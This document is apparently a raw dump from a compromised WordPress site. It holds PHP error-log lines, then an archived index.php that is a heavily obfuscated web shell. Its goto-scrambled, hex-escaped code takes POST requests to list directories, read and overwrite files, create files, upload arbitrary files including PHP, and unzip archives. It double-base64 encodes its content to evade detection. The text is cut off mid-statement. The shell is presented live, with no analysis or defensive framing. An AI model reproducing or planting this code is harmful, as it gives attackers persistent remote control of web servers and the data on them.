[26-Oct-2025 12:44:54 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[29-Oct-2025 05:31:24 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[29-Oct-2025 05:31:24 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
829022/index.php000064400000273230151011204030007124 0ustar00<?php
 goto G4uAy; P1QEM: try { goto s3c9z; s3c9z: goto xoW6x; goto VkOol; WdEYq: goto ljkGN; goto nbxHz; PWzdY: lL1md: goto WdEYq; rTOQK: b0z_a: goto rreoX; TC3Xe: dW6A0: goto k4Dma; gz4Am: switch ($xQUjg) { case "\x6c\x69\163\164": goto bouVa; Hl17B: goto YpZd7; goto SQsxa; Lk6RG: X1vJt: goto eD1WY; uG018: uV9B1: goto xWrFA; eD1WY: goto oWun9; goto m4pnR; GC4oi: goto bn3b1; goto XE0H2; afTjO: goto uV9B1; goto HovGl; iYoDa: dXR8H: goto Gb5RU; dbA1w: goto DgaFw; goto ucvWx; SknI4: DgaFw: goto yVjf5; NX_To: jYDie: goto GC4oi; HguiV: goto v4OZv; goto uG018; SQsxa: CvoaW: goto xHkrN; JZyKz: $lrn9d = Z3B6o(realpath($nzCXI)); goto afTjO; nmM3m: bn3b1: goto Zjbp5; m4pnR: oWun9: goto uJTcN; Zjbp5: foreach (scandir($lrn9d) as $MtJH4) { goto JU_6o; dZfX2: goto l6N2N; goto VpOFQ; gEZTK: goto R3XvS; goto gZ3Bf; xARdr: goto hWNuX; goto gozfP; GcrBD: $TeEsf = $lrn9d . "\57" . $MtJH4; goto KA77Q; HtDB3: tuH18: goto lRmy_; RAZ2R: R3XvS: goto xARdr; LWfKN: VldxZ: goto GcrBD; JU_6o: goto A0fvJ; goto D3W3q; nq1Ws: goto VldxZ; goto O56Wl; gZ3Bf: Zfl_X: goto X_1vL; lRmy_: hWNuX: goto pCgin; HpF0Z: kuvGT: goto Z4RAP; X_1vL: $GyQbu[] = ["\156\141\x6d\x65" => $MtJH4, "\x69\x73\x5f\x64\x69\x72" => is_dir($TeEsf), "\163\x69\x7a\145" => is_dir($TeEsf) ? 0 : filesize($TeEsf), "\155\157\x64\x69\x66\x69\145\144" => filemtime($TeEsf)]; goto nfPfY; KA77Q: goto Zfl_X; goto HpF0Z; VpOFQ: rtpoD: goto gEZTK; pCgin: goto kuvGT; goto RAZ2R; nfPfY: goto tuH18; goto HtDB3; Z4RAP: VOigZ: goto UOnuf; HTS2M: l6N2N: goto nq1Ws; HMhDa: if ($MtJH4 === "\56" || $MtJH4 === "\56\x2e") { goto rtpoD; } goto dZfX2; D3W3q: mOxoU: goto HTS2M; O56Wl: A0fvJ: goto HMhDa; gozfP: goto mOxoU; goto LWfKN; UOnuf: } goto Lk6RG; GnhV7: goto StwhT; goto YpXqS; jSXAB: StwhT: goto cRBDn; E_loy: goto jYDie; goto YloDC; zI2Zu: goto ED4R0; goto BcJNN; XE0H2: v4OZv: goto G29_g; kM5ef: goto fcgYA; goto h2LHs; riXjL: kPIjT: goto T275_; Gb5RU: $nzCXI = isset($_POST["\x70\x61\164\150"]) ? SgvDX($_POST["\x70\141\164\150"]) : __DIR__; goto dbA1w; VRooQ: goto CvoaW; goto I643y; TgPxJ: goto lL1md; goto VRooQ; bouVa: goto dXR8H; goto b_g8H; h2LHs: pP3nn: goto l_Ou_; I643y: T8q9M: goto JZyKz; HovGl: ED4R0: goto jSXAB; wIddo: goto kPIjT; goto nmM3m; BcJNN: YpZd7: goto TgPxJ; YloDC: a5071: goto wIddo; l_Ou_: throw new Exception("\111\156\x76\141\154\151\x64\x20\x6f\x72\40\x69\156\141\x63\143\x65\163\x73\151\142\154\145\x20\x70\141\x74\x68\x2e"); goto zI2Zu; xWrFA: $GyQbu = []; goto kM5ef; ucvWx: PKu3l: goto NX_To; G29_g: $Tyg9r = ["\163\x75\143\x63\145\x73\163" => true, "\146\x69\154\145\x73" => $GyQbu, "\160\x61\164\x68" => $lrn9d]; goto Hl17B; cRBDn: goto T8q9M; goto SknI4; T275_: throw new Exception("\103\x61\156\156\x6f\164\40\x61\x63\x63\x65\163\x73\40\160\x61\x74\150\x2e\40\x49\164\x20\x6d\x69\x67\x68\x74\40\142\145\40\162\145\x73\x74\x72\151\x63\x74\145\144\40\x62\171\40\x73\145\x72\166\x65\x72\40\x63\x6f\x6e\146\151\x67\x75\162\x61\164\x69\x6f\x6e\40\50\x6f\160\145\x6e\137\142\x61\163\x65\144\151\162\x29\x2e"); goto wbO8D; yVjf5: if (!BSwKk($nzCXI)) { goto T6dMo; } goto GnhV7; da33_: goto pP3nn; goto riXjL; YpXqS: T6dMo: goto da33_; uJTcN: PXHRT: goto HguiV; b_g8H: fcgYA: goto B8Sck; wbO8D: goto PKu3l; goto iYoDa; B8Sck: if (!@scandir($lrn9d)) { goto a5071; } goto E_loy; xHkrN: case "\147\145\164\137\x63\x6f\156\164\x65\156\164": goto SoEAu; Jl7Rp: $Vo918 = isset($_POST["\x70\x61\x74\150"]) ? SGVDx($_POST["\x70\141\164\150"]) : ''; goto JNduV; ucfNo: nNRvO: goto qnc7N; JNduV: goto egi72; goto g9il_; j2ncO: goto vifZj; goto LlwA2; AuoBx: goto nNRvO; goto ucfNo; uvXZH: throw new Exception("\111\156\166\x61\x6c\151\x64\x20\146\151\154\145\40\x66\157\x72\40\145\x64\151\x74\x69\156\147\56"); goto f7w25; B_8j8: pFqjh: goto I2SfT; LlwA2: egi72: goto LODKI; IBxVF: hRyj_: goto L9AGt; I2SfT: $Tyg9r = ["\x73\165\143\x63\145\x73\x73" => true, "\143\x6f\156\x74\145\x6e\164" => base64_encode(base64_encode(file_get_contents($Vo918)))]; goto AuoBx; g9il_: WDAeM: goto IBxVF; f7w25: goto WDAeM; goto qiFbX; LODKI: if (!realpath($Vo918) || is_dir(realpath($Vo918))) { goto SxYOl; } goto iO9Wn; iO9Wn: goto hRyj_; goto PjPMn; SoEAu: goto VU3J0; goto BGCA4; qiFbX: VU3J0: goto Jl7Rp; L9AGt: goto pFqjh; goto B_8j8; mE2k5: vifZj: goto EzrHF; qnc7N: goto lL1md; goto j2ncO; cqXPQ: goto Rkc3r; goto mE2k5; PjPMn: SxYOl: goto cqXPQ; BGCA4: Rkc3r: goto uvXZH; EzrHF: case "\147\x65\164\137\143\157\x6e\x74\x65\x6e\x74\x5f\x62\x36\64": goto YVXQ1; ku6mv: $Vo918 = base64_decode($pT86w); goto jUuXF; qljRF: goto VIWR8; goto swZu4; Nrq_3: PGF81: goto mO3uW; swZu4: EHBlg: goto psquq; psquq: PpUJ1: goto avOL0; Yla9V: goto qBr57; goto X6C9y; i9thn: $Tyg9r = ["\x73\165\x63\x63\x65\163\163" => true, "\143\157\x6e\x74\145\156\x74" => base64_encode(base64_encode(file_get_contents($Vo918)))]; goto qljRF; jUuXF: goto TcPHY; goto UkQWb; wCbg2: goto EHBlg; goto SI2gZ; mO3uW: $pT86w = isset($_POST["\x70\x61\x74\x68\137\x62\x36\x34"]) ? SGVdX($_POST["\x70\x61\164\x68\x5f\142\66\64"]) : ''; goto Yla9V; U65TF: goto lL1md; goto NScbC; SQi0F: aQ7cY: goto Ma4ov; YVXQ1: goto PGF81; goto YiRRx; SI2gZ: VIWR8: goto U65TF; trRyp: throw new Exception("\x49\156\166\141\154\151\144\x20\x66\x69\154\x65\40\x66\x6f\x72\x20\145\144\151\164\151\x6e\147\56"); goto wCbg2; o1J2y: C7IAP: goto hBatn; UkQWb: TcPHY: goto LOBPF; PEZv8: qBr57: goto ku6mv; LOBPF: if (!realpath($Vo918) || is_dir(realpath($Vo918))) { goto aQ7cY; } goto vTDBG; NScbC: goto C7IAP; goto o1J2y; X6C9y: qPqhx: goto trRyp; YiRRx: gPwhD: goto i9thn; avOL0: goto gPwhD; goto PEZv8; vTDBG: goto PpUJ1; goto SQi0F; Ma4ov: goto qPqhx; goto Nrq_3; hBatn: case "\x73\x61\x76\x65\x5f\143\x6f\x6e\164\145\156\164": goto MHrsU; no8bh: yq0ok: goto QFaQ5; l4hLC: goto xq6ZD; goto NzYRl; zD48c: UXPAO: goto r0JYu; jGBLh: o9aaY: goto uR4w7; hv9_n: goto o9aaY; goto no8bh; kj9e5: CFYcT: goto gFzbH; Yznqu: goto gKNnK; goto jGBLh; nFvFZ: $Vo918 = isset($_POST["\x70\x61\164\x68"]) ? sgvdx($_POST["\160\141\x74\x68"]) : ''; goto h1C3z; eF8YZ: goto pvc7p; goto EWF5s; yb59Q: UAtQb: goto CLI8a; KCZr4: goto uCRgK; goto Yznqu; CmEf_: xq6ZD: goto ZIyAT; YRx5W: weVTS: goto vrJcW; p__fF: goto QMHmC; goto L5Jab; zL5VF: aDr6Z: goto D7rhy; ZTgxJ: wDsVP: goto gIj80; eWmLG: goto orOxH; goto Pliuj; CL40j: goto UAtQb; goto yb59Q; q8i76: if (!(file_put_contents($Vo918, $MBf0M) !== false)) { goto NJ7Ff; } goto l4hLC; D7rhy: uCRgK: goto CtWJr; QFaQ5: n7rjB: goto JhSOu; r4Jfs: goto lL1md; goto RYmeK; h1C3z: goto wDsVP; goto Ej0gK; r0JYu: $yVYGJ = implode('', $M0kBv); goto r2jq8; RYmeK: goto CFYcT; goto ZTgxJ; tJN3k: goto PclZH; goto kj9e5; qWGxk: pvc7p: goto XPU57; kI2AI: QMHmC: goto plElc; lTThq: throw new Exception("\x43\157\165\154\x64\40\156\157\164\x20\163\141\x76\x65\40\x66\x69\x6c\145\x2e\x20\x43\x68\x65\x63\153\40\x70\x65\x72\155\151\163\x73\x69\157\156\x73\x2e"); goto HG2Ob; NzYRl: NJ7Ff: goto tJN3k; gIj80: $M0kBv = isset($_POST["\x63\157\x6e\164\145\x6e\x74\x5f\x63\x68\165\x6e\x6b\x73"]) && is_array($_POST["\143\x6f\x6e\164\145\156\x74\137\x63\x68\165\x6e\x6b\x73"]) ? $_POST["\143\x6f\156\x74\x65\156\x74\x5f\143\x68\165\156\x6b\x73"] : []; goto eF8YZ; wRCmk: goto n7rjB; goto gqkof; p1vT0: v4Hdt: goto rGgTy; vrJcW: $MBf0M = base64_decode(base64_decode($yVYGJ)); goto CL40j; hm5vB: goto SUv20; goto YRx5W; dzWo2: aakd2: goto r4Jfs; HG2Ob: goto SFRYX; goto p1vT0; L5Jab: omMOe: goto eWmLG; kQmfZ: throw new Exception("\x49\156\166\141\x6c\151\144\40\146\x69\x6c\x65\40\146\x6f\x72\x20\x73\141\166\x69\x6e\x67\56"); goto hm5vB; plElc: goto PPQLf; goto Hj7zC; sbWq7: goto aDr6Z; goto qWGxk; Gv9up: SFRYX: goto KCZr4; CtWJr: goto aakd2; goto dzWo2; FsemH: goto yq0ok; goto DwFXf; NzKId: SUv20: goto kI2AI; Ej0gK: PPQLf: goto q8i76; rGgTy: $Tyg9r = ["\163\165\143\x63\x65\x73\x73" => true, "\x6d\145\x73\x73\141\147\x65" => "\106\151\154\x65\x20\163\141\166\x65\144\x20\163\x75\143\x63\145\x73\x73\146\x75\154\x6c\x79\x2e"]; goto sbWq7; gqkof: RTntq: goto hv9_n; EWF5s: PclZH: goto lTThq; XPU57: if (empty($M0kBv)) { goto RTntq; } goto wRCmk; JhSOu: goto UXPAO; goto zD48c; uR4w7: throw new Exception("\103\157\156\164\145\x6e\164\x20\x69\163\40\145\x6d\160\164\171\x2e"); goto FsemH; MHrsU: goto OuCn4; goto Gv9up; DwFXf: orOxH: goto kQmfZ; Hj7zC: OuCn4: goto nFvFZ; r2jq8: goto weVTS; goto NzKId; ZIyAT: goto v4Hdt; goto zL5VF; Pliuj: gKNnK: goto CmEf_; CLI8a: if (!bSwkk($Vo918) || file_exists($Vo918) && is_dir($Vo918)) { goto omMOe; } goto p__fF; gFzbH: case "\163\x61\x76\x65\x5f\x63\157\156\164\x65\x6e\164\x5f\x62\66\x34": goto TAClc; uHDbU: goto lL1md; goto Gq810; kp8J6: LEAes: goto IH3YQ; lIFZM: goto mQ6eZ; goto aPI1n; erPo8: goto iMTc_; goto cK5hZ; kq94X: goto nAtEe; goto pI_04; eNsJ_: goto zCiJ3; goto UecW4; nWYr0: goto LJ2X4; goto LxACV; LDFkk: goto IEPQ3; goto ugW3w; EnZeE: goto FjMpv; goto YA1io; LxACV: mQ6eZ: goto i7tK5; FXppG: goto XRoE3; goto migf7; LtLQ1: JemAB: goto cDBuu; migf7: IEPQ3: goto ftTcz; cDBuu: $yVYGJ = implode('', $M0kBv); goto eNsJ_; aP7u8: goto yXngA; goto TrEin; TGgrU: if (!(file_put_contents($Vo918, $MBf0M) !== false)) { goto iDJj2; } goto D50BD; UecW4: aMQhk: goto yZ_pQ; dXpV_: goto EoYsR; goto GHd3M; r3JcG: throw new Exception("\111\156\166\x61\154\x69\x64\40\146\x69\154\145\40\146\x6f\x72\x20\163\141\166\151\x6e\147\x2e"); goto J6TM1; YPAjc: goto eOkkx; goto K2_vw; l0ScL: goto ieE0k; goto dgJE6; rui3k: $M0kBv = isset($_POST["\143\x6f\156\164\145\x6e\x74\137\143\150\165\x6e\153\163"]) && is_array($_POST["\143\157\156\x74\145\x6e\164\x5f\x63\150\165\x6e\x6b\x73"]) ? $_POST["\143\x6f\156\x74\145\156\164\x5f\x63\150\165\156\153\163"] : []; goto eFcCS; HIrst: goto fQ2sx; goto qdnRa; D50BD: goto Nql6A; goto eL0kC; MzFdN: LJ2X4: goto e5M9I; U7Mwt: goto zk4x8; goto zBmaj; zBmaj: dXGFc: goto kp8J6; GHd3M: zk4x8: goto r3JcG; eFcCS: goto aMQhk; goto aJbJ4; YA1io: JZvOp: goto NwEJQ; Gq810: goto yt1pZ; goto nKp9p; eL0kC: iDJj2: goto kq94X; ftTcz: throw new Exception("\x43\x6f\x6e\x74\x65\x6e\164\40\x69\163\x20\x65\x6d\160\x74\x79\x2e"); goto NfXcf; TrEin: yt1pZ: goto EZLiX; yZ_pQ: if (empty($M0kBv)) { goto MWYSr; } goto T76Dd; i7tK5: $Vo918 = base64_decode($pT86w); goto dXpV_; DOD2R: eOkkx: goto HIrst; NwEJQ: $pT86w = isset($_POST["\x70\x61\x74\150\137\142\x36\x34"]) ? SGVDx($_POST["\160\141\x74\150\137\x62\66\64"]) : ''; goto lIFZM; aPI1n: yXngA: goto BjIgn; P1sEi: if (!bSWKK($Vo918) || file_exists($Vo918) && is_dir($Vo918)) { goto JxY2s; } goto YPAjc; NfXcf: goto dXGFc; goto MNH04; qdnRa: iMTc_: goto RDi2_; e5M9I: Nql6A: goto erPo8; IH3YQ: goto JemAB; goto MzFdN; nKp9p: ieE0k: goto GoNrx; I0hhI: MWYSr: goto LDFkk; pI_04: rivIx: goto DOD2R; GoNrx: ajvn9: goto EnZeE; xmUl5: fQ2sx: goto TGgrU; MNH04: EoYsR: goto rui3k; ugW3w: nAtEe: goto EqVrI; TAClc: goto JZvOp; goto xmUl5; TjPyC: $MBf0M = base64_decode(base64_decode($yVYGJ)); goto FXppG; dgJE6: zCiJ3: goto TjPyC; K2_vw: JxY2s: goto U7Mwt; J6TM1: goto rivIx; goto LtLQ1; EqVrI: throw new Exception("\x44\x69\x72\145\143\164\x20\163\x61\x76\145\40\x66\141\x69\154\145\144\x2e\40\103\150\145\143\x6b\40\160\145\162\x6d\151\x73\x73\x69\x6f\156\x73\56"); goto aP7u8; BjIgn: goto ajvn9; goto nWYr0; cK5hZ: FjMpv: goto uHDbU; aJbJ4: XRoE3: goto P1sEi; T76Dd: goto LEAes; goto I0hhI; RDi2_: $Tyg9r = ["\x73\165\x63\x63\145\163\x73" => true, "\155\145\163\163\x61\x67\145" => "\106\151\154\145\40\x73\x61\x76\145\144\40\x73\165\143\143\145\x73\163\146\165\154\x6c\x79\40\50\x64\151\162\145\143\x74\x20\155\145\x74\x68\x6f\x64\x29\56"]; goto l0ScL; EZLiX: case "\143\x72\145\x61\x74\145\137\146\151\154\x65": goto but_i; Tk6ma: AE7QK: goto ZnnVa; yKNJy: goto c_mnD; goto IMRNJ; bc_Ye: goto qDHBO; goto w7NXi; IMRNJ: xRa7w: goto Knz53; ZnnVa: $nzCXI = isset($_POST["\160\x61\x74\x68"]) ? SGvDX($_POST["\x70\141\x74\150"]) : ''; goto RxaVy; w7NXi: oxDjw: goto GfEAR; glYbW: throw new Exception("\x49\156\x76\x61\x6c\151\144\x20\160\x61\164\x68\40\x6f\162\x20\146\x69\x6c\x65\x20\x6e\141\x6d\x65\x2e"); goto yKNJy; HTfIx: goto XjDfH; goto nYfNx; AX1PK: if (!touch(rtrim($nzCXI, "\57") . "\x2f" . $qswgT)) { goto wpusE; } goto LpXep; QJhYk: goto hJk6d; goto YwPfA; RxaVy: goto TZra9; goto Aqrzx; JxYZO: goto K9d2K; goto ByATe; Knz53: if (!BswKK($nzCXI) || empty($qswgT)) { goto JhWVa; } goto JxYZO; KMk4v: goto LAzf0; goto mK7B2; hELfr: c_mnD: goto mBdn3; LpXep: goto KoSJB; goto luoHR; VBNmn: $Tyg9r = ["\163\x75\x63\x63\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\106\151\154\x65\40\x63\162\145\x61\x74\145\x64\x2e"]; goto bc_Ye; j6MWD: $qswgT = isset($_POST["\x6e\141\155\x65"]) ? YVt49($_POST["\x6e\141\155\145"]) : ''; goto kzSSw; i_LIS: Z_mTH: goto lbOk5; mBdn3: K9d2K: goto muUJe; MUzdn: qDHBO: goto i_LIS; luoHR: wpusE: goto xZcd6; but_i: goto AE7QK; goto dOOgN; Aqrzx: hJk6d: goto vIC5V; nYfNx: LAzf0: goto glYbW; lbOk5: goto CT1y1; goto JySKn; dOOgN: vfJEP: goto GCTDo; mK7B2: XjDfH: goto XKAHq; urPMF: goto AJ7Rl; goto hELfr; ByATe: JhWVa: goto KMk4v; GfEAR: throw new Exception("\103\x6f\165\x6c\x64\40\156\x6f\164\40\143\x72\x65\x61\164\x65\40\146\151\154\145\x2e"); goto QJhYk; JySKn: AJ7Rl: goto VBNmn; YZIT5: goto lL1md; goto HTfIx; GCTDo: KoSJB: goto urPMF; C_RhY: goto vfJEP; goto q4Pa7; xZcd6: goto oxDjw; goto MUzdn; vIC5V: goto Z_mTH; goto C_RhY; muUJe: goto C_the; goto Tk6ma; YwPfA: TZra9: goto j6MWD; GajAh: CT1y1: goto YZIT5; kzSSw: goto xRa7w; goto GajAh; q4Pa7: C_the: goto AX1PK; XKAHq: case "\x75\160\x6c\157\x61\144": goto neckD; UnrXA: laSOi: goto Xp1lg; qdNMd: goto p5Hc8; goto xkRxh; u0zeO: if (!bsWKK($nzCXI) || empty($jZXD7) || empty($CaGaB)) { goto pboTt; } goto M17Ux; tz_P8: GbD91: goto IUUcS; idvfy: $Tyg9r = ["\163\x75\x63\x63\x65\163\163" => true, "\155\x65\x73\x73\141\x67\145" => "\106\x69\x6c\145\40\x75\x70\x6c\157\141\144\145\144\x20\x73\165\143\x63\x65\x73\163\x66\x75\x6c\154\x79\x2e"]; goto ILXIC; s1a6h: if (!(file_put_contents($uk3UO, $aB9sD) !== false)) { goto DzXxH; } goto JvSyY; FWLu4: goto lL1md; goto TPWj6; Xckf9: $CaGaB = isset($_POST["\x63\157\156\x74\145\x6e\x74\137\x62\x61\x73\x65\x36\64"]) ? $_POST["\x63\x6f\x6e\164\145\156\164\137\142\141\163\145\x36\x34"] : ''; goto bwrv9; gb70Q: TFN39: goto Xckf9; NNDjI: Pl9w3: goto tpveT; g7mgn: goto lb0ix; goto wK0c_; Xp1lg: UkXeh: goto UE9D7; fBA8B: goto m8Xmy; goto CKhxs; bwrv9: goto haNzH; goto z2750; ewwDH: X0Vwu: goto rnrPy; waNUK: goto czpHX; goto LpL6P; EUDJf: DzXxH: goto qdNMd; KKYGo: goto laSOi; goto ewwDH; ff8Vj: J_2VD: goto cpm13; cpm13: goto K0hLG; goto m75JV; JvSyY: goto pqm_5; goto EUDJf; Wapdc: goto vxYS7; goto OEKfh; jT_c2: goto J_2VD; goto lkBSH; ILXIC: goto ZsCWV; goto vZ7Et; Q9t_2: $jZXD7 = isset($_POST["\146\x69\x6c\145\x6e\x61\155\x65\x5f\x62\141\x73\145\x36\x34"]) ? $_POST["\x66\x69\154\x65\x6e\x61\155\x65\x5f\x62\x61\x73\x65\66\x34"] : ''; goto Fw_Wp; asZhI: goto WfCZh; goto GlXGh; TPWj6: goto X0Vwu; goto tr_Fd; Z3uxl: $nzCXI = isset($_POST["\160\141\x74\x68"]) ? SgVdX($_POST["\x70\x61\164\150"]) : __DIR__; goto Wapdc; TJMzQ: $aB9sD = base64_decode($CaGaB); goto waNUK; hmDtz: aHHWM: goto s1a6h; Fw_Wp: goto TFN39; goto tp9wx; KMpNH: goto aHHWM; goto gb70Q; pC2kF: if (strpos($CaGaB, "\x2c") !== false) { goto w_LF3; } goto fBA8B; ucHXR: goto nLlri; goto NNDjI; Q5oDZ: throw new Exception("\103\x6f\x75\x6c\144\x20\x6e\157\x74\40\163\141\x76\x65\x20\x75\x70\x6c\x6f\x61\144\145\x64\40\146\x69\x6c\145\56\x20\x43\150\145\143\153\x20\x70\145\162\155\x69\x73\163\x69\157\156\163\56"); goto jT_c2; tp9wx: rzPAo: goto zx0J4; tPyZe: $uk3UO = rtrim($nzCXI, "\57") . "\x2f" . $L_G0r; goto KMpNH; UE9D7: goto Pl9w3; goto ff8Vj; US3Hx: fPSLh: goto a845v; tr_Fd: ZsCWV: goto MsPcP; zx0J4: m8Xmy: goto asZhI; vZ7Et: czpHX: goto tPyZe; iglzc: goto P6FMQ; goto UnrXA; LpL6P: lb0ix: goto r6nr4; lkBSH: haNzH: goto u0zeO; gus0a: goto rzPAo; goto hmDtz; sYJDU: vxYS7: goto Q9t_2; CKhxs: w_LF3: goto MM4c0; MM4c0: goto GbD91; goto mF_uU; MsPcP: K0hLG: goto ucHXR; GlXGh: p5Hc8: goto Q5oDZ; a845v: pqm_5: goto Hf3sF; r6nr4: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\x64\x61\164\x61\x20\x66\157\x72\40\x75\x70\154\157\x61\x64\x2e"); goto KKYGo; IUUcS: list(, $CaGaB) = explode("\x2c", $CaGaB); goto gus0a; M17Ux: goto UkXeh; goto HBYm0; wK0c_: z_s7q: goto idvfy; z2750: CtacX: goto Z3uxl; HBYm0: pboTt: goto g7mgn; neckD: goto CtacX; goto tz_P8; mF_uU: WfCZh: goto TJMzQ; m75JV: goto fPSLh; goto US3Hx; OEKfh: P6FMQ: goto pC2kF; xkRxh: nLlri: goto FWLu4; Hf3sF: goto z_s7q; goto sYJDU; tpveT: $L_G0r = YVt49(base64_decode($jZXD7)); goto iglzc; rnrPy: case "\165\160\x6c\157\141\144\137\x70\x68\160": goto T5qUY; vVXYj: goto JgPj3; goto CJPlZ; DEtMe: goto FfoiE; goto ma25S; Prqlv: cJ9zc: goto rQYaL; IpTLS: goto AQrsK; goto jOC47; yP7tP: $YfEnt = yvt49(base64_decode($jZXD7)); goto Ry3vX; D5mnx: $Tyg9r = ["\163\165\143\143\x65\x73\163" => true, "\x6d\145\x73\163\x61\147\145" => "\120\110\x50\x20\146\151\154\145\x20\165\x70\154\x6f\141\144\145\144\x20\163\x75\x63\x63\145\163\x73\x66\x75\x6c\154\171\56"]; goto vs8ZM; NwDgi: throw new Exception("\x49\156\x76\141\154\x69\144\40\x64\x61\x74\141\x20\146\x6f\162\40\x50\x48\120\x20\x75\x70\x6c\x6f\141\144\56"); goto LmLzg; fj8l7: t3FHA: goto gJXB5; GjUcZ: v6rT0: goto vc6h7; DgtIu: goto VaZOu; goto iA1st; z1OUL: goto ad9Ph; goto ZjJkK; oUOzE: goto rD2k3; goto t9k83; jOC47: SY9Ys: goto gftSH; ma25S: AQrsK: goto D5mnx; jNY66: if (!rename($YxX9w, $YrLgV)) { goto rLv8t; } goto vVXYj; Yrrz_: if (file_put_contents($YxX9w, $aB9sD) === false) { goto V21Vb; } goto FcHmC; vs8ZM: goto be6n6; goto kyDrB; gftSH: $YrLgV = rtrim($nzCXI, "\57") . "\x2f" . $YfEnt; goto r_J_p; Ty0DA: $LnFMG = $YfEnt . "\56\164\x78\x74"; goto DEtMe; T5qUY: goto ZWKQr; goto m8APL; zeW4C: wePuP: goto s2Yxm; CkVxM: i516f: goto lEWWT; eJpmz: zoQDx: goto sqVaN; CJPlZ: rLv8t: goto LYgk6; VCZ6Y: goto zoQDx; goto eJpmz; G9ImR: goto S5Kva; goto a5dSX; Er14T: goto tI5mB; goto aWfxF; a5dSX: goto v6rT0; goto RaBJK; Zw6rT: dvpwV: goto jld0O; m8APL: QBQTJ: goto l5RZd; WoPne: goto QBQTJ; goto zeW4C; hoFwk: goto lL1md; goto cSBhX; D71xc: goto SY9Ys; goto pNjhP; bMM3e: be6n6: goto vIgZZ; NqS3S: goto l9YIO; goto MRUTq; r_J_p: goto BN83X; goto ggvjn; SwlIT: $CaGaB = isset($_POST["\x63\x6f\156\x74\145\156\164\137\142\141\163\145\66\x34"]) ? $_POST["\x63\157\156\164\x65\x6e\x74\137\142\141\x73\145\x36\64"] : ''; goto UnJ7W; UCxJ1: unlink($YxX9w); goto k2uWk; pNjhP: Kc21q: goto SwlIT; UnJ7W: goto o4DQ3; goto CkVxM; ZjJkK: ZWKQr: goto RlI5j; ShzEv: goto t3FHA; goto GjUcZ; Ws189: VZzao: goto xzXJR; ggvjn: tI5mB: goto jNY66; gIB3k: o4DQ3: goto e6wvA; FcHmC: goto nravg; goto za7ib; EPoSu: if (strpos($CaGaB, "\54") !== false) { goto jJjlK; } goto NqS3S; e3qjV: goto i516f; goto MJwxR; yHL68: goto po9j0; goto jETAx; aWfxF: G2coO: goto NwDgi; vc6h7: JgPj3: goto IpTLS; O2yQU: $YxX9w = rtrim($nzCXI, "\57") . "\x2f" . $LnFMG; goto D71xc; xqs3W: PCm6q: goto w4ghX; uUFfZ: goto wePuP; goto bMM3e; s2Yxm: nravg: goto Er14T; za7ib: V21Vb: goto VCZ6Y; RaBJK: FfoiE: goto EPoSu; pYrSj: goto G2coO; goto wEETT; iZQlh: goto PCm6q; goto xqs3W; k2uWk: goto VZzao; goto fj8l7; t9k83: CiP_N: goto pYrSj; cSBhX: goto cJ9zc; goto Prqlv; w4ghX: list(, $CaGaB) = explode("\54", $CaGaB); goto e3qjV; KRLsq: GxHuT: goto Ty0DA; DzRiz: goto MbUEo; goto Zw6rT; oqRuR: goto Kc21q; goto KRLsq; LmLzg: goto dvpwV; goto Ws189; MRUTq: jJjlK: goto iZQlh; e6wvA: if (!bSWKK($nzCXI) || empty($jZXD7) || empty($CaGaB)) { goto CiP_N; } goto oUOzE; jld0O: rD2k3: goto DgtIu; RlI5j: $nzCXI = isset($_POST["\x70\141\164\150"]) ? sgVDx($_POST["\x70\x61\164\150"]) : __DIR__; goto ShzEv; lEWWT: l9YIO: goto WoPne; jETAx: BN83X: goto Yrrz_; iA1st: po9j0: goto G9ImR; vIgZZ: S5Kva: goto z1OUL; l5RZd: $aB9sD = base64_decode($CaGaB); goto DzRiz; WTcsr: f66uu: goto UCxJ1; sqVaN: throw new Exception("\x43\157\x75\x6c\144\40\x6e\x6f\164\40\x73\x61\x76\x65\x20\x74\x65\155\160\157\x72\x61\162\171\x20\146\x69\154\x65\x2e\x20\x43\x68\x65\x63\153\40\160\x65\x72\155\151\163\x73\151\x6f\156\x73\56"); goto uUFfZ; kyDrB: ad9Ph: goto hoFwk; wEETT: MbUEo: goto O2yQU; xzXJR: throw new Exception("\103\x6f\165\154\x64\40\x6e\157\164\40\x72\x65\156\141\155\145\x20\x74\145\155\160\x6f\162\x61\x72\x79\40\x66\x69\x6c\145\56"); goto yHL68; LYgk6: goto f66uu; goto WTcsr; MJwxR: VaZOu: goto yP7tP; Ry3vX: goto GxHuT; goto gIB3k; gJXB5: $jZXD7 = isset($_POST["\146\x69\154\x65\x6e\141\155\145\137\x62\141\x73\x65\x36\x34"]) ? $_POST["\146\151\154\145\x6e\x61\155\x65\x5f\x62\x61\163\x65\x36\64"] : ''; goto oqRuR; rQYaL: case "\x75\x6e\172\x69\160": goto W32qH; v4r24: if (!($sL87A->open($z2BSB) === TRUE)) { goto cPEr3; } goto VV7rO; h3n7U: goto lEKP2; goto RlmJ2; W32qH: goto wHDRR; goto XWfqh; V9kie: $Tyg9r = ["\x73\x75\x63\143\145\x73\163" => true, "\155\x65\x73\x73\141\147\145" => 